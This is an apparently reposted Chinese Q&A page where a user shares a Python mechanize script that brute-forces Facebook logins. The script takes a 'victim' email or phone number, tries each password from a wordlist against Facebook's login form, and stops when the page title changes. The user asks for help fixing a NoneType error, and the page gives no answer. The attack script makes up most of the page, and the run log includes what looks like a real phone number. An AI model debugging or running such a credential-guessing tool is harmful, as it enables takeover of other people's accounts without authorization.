问题描述
我正在用python 3.8编写一个简单的facebook bruteforce脚本 代码是
from subprocess import call
import os
import sys
try:
import mechanize
except ModuleNotFoundError:
print("[-] Mechanize was not found")
print("[+] Installing mechanize")
call("pip install mechanize")
try:
import mechanize
print("[+] Mechanize installed sucessfully")
print("Please re-run the script")
sys.exit()
except ModuleNotFoundError:
print("[-] Mechanize was not installed")
print("Exiting...")
sys.exit()
def main():
browser = mechanize.browser();
url = "https://www.facebook.com/";
print("Enter victim's Email or Phone number : ",end="");
victim = input()
try:
victim_old = victim
victim = int(victim)
victim = victim_old
print(f"Phone Number => {victim}")
except ValueError:
if victim.endswith("@gmail.com") or victim.endswith("@hotmail.com") or victim.endswith("@outlook.com") or \
victim.endswith("@yahoo.com"):
print(f"Email => {victim}")
else:
print("[-] Cannot recognized as email or phone number")
print("Exiting.......")
sys.exit()
print("Enter your wordlist(default=pass.txt) : ",end="")
wordlist=input() or "pass.txt"
if os.path.isfile(wordlist):
print("[+] Wordlist exists")
wordlist_info = os.stat(wordlist)
if not wordlist_info.st_size==0:
#facebook hacking code goes here
br = mechanize.browser()
br.set_handle_robots(False)
br.open("https://www.facebook.com/")
br.select_form(nr=0)
with open(wordlist) as w:
password_list = w.readlines()
for fb_pass in password_list:
print(f"Trying -----> {fb_pass}")
br.form['email']=str(victim)
br.form['pass']=fb_pass.strip()
br.submit()
if(br.title()=="Facebook"):
print(f"Password found ------> {fb_pass}")
break
else:
print("[-] Wordlist is empty")
print("Exiting..........")
sys.exit()
else:
print("[-] Wordlist does not exists")
print("Exiting..........")
sys.exit()
if __name__=="__main__":
main()
azan
welcome
yahoo
hola
当我运行脚本时,它给我以下错误
Enter victim's Email or Phone number : <victim number>
Phone Number => 03037211113
Enter your wordlist(default=pass.txt) : test.txt
[+] Wordlist exists
Trying -----> azan
Trying -----> welcome
Traceback (most recent call last):
File "fb.py",line 67,in <module>
main()
File "fb.py",line 52,in main
br.form['email']=str(victim)
TypeError: 'nonetype' object does not support item assignment
我找不到错误原因 也有空行黑白每个尝试如何删除此 我已经尝试了很多次,但是没有找到错误 请有人帮我
解决方法
暂无找到可以解决该程序问题的有效方法,小编努力寻找整理中!
如果你已经找到好的解决方法,欢迎将解决方案带上本链接一起发送给小编。
小编邮箱:dio#foxmail.com (将#修改为@)